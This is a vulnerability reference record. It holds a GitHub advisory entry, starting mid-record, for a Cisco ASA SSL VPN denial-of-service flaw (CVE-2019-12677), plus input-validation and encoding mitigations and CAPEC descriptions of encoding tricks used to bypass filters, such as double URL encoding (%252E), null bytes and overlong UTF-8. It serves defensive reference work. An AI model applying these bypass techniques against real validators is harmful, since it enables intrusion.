"details": "A vulnerability in the Secure Sockets Layer (SSL) VPN feature of Cisco Adaptive Security Appliance (ASA) Software could allow an authenticated, remote attacker to cause a denial of service (DoS) condition that prevents the creation of new SSL/Transport Layer Security (TLS) connections to an affected device. The vulnerability is due to incorrect handling of Base64-encoded strings. An attacker could exploit this vulnerability by opening many SSL VPN sessions to an affected device. The attacker would need to have valid user credentials on the affected device to exploit this vulnerability. A successful exploit could allow the attacker to overwrite a special system memory location, which will eventually result in memory allocation errors for new SSL/TLS sessions to the device, preventing successful establishment of these sessions. A reload of the device is required to recover from this condition. Established SSL/TLS connections to the device and SSL/TLS connections through the device are not affected. Note: Although this vulnerability is in the SSL VPN feature, successful exploitation of this vulnerability would affect all new SSL/TLS sessions to the device, including management sessions.",
"id": "GHSA-wvvv-6xf9-8f8r",
"modified": "2022-05-26T00:01:16Z",
"published": "2022-05-24T16:57:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12677"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20191002-asa-ssl-vpn-dos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-52: Embedding NULL Bytes
An adversary embeds one or more null bytes in input to the target software. This attack relies on the usage of a null-valued byte as a string terminator in many environments. The goal is for certain components of the target software to stop processing the input when it encounters the null byte(s).
CAPEC-53: Postfix, Null Terminate, and Backslash
If a string is passed through a filter of some kind, then a terminal NULL may not be valid. Using alternate representation of NULL allows an adversary to embed the NULL mid-string while postfixing the proper data so that the filter is avoided. One example is a filter that looks for a trailing slash character. If a string insertion is possible, but the slash must exist, an alternate encoding of NULL in mid-string may be used.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.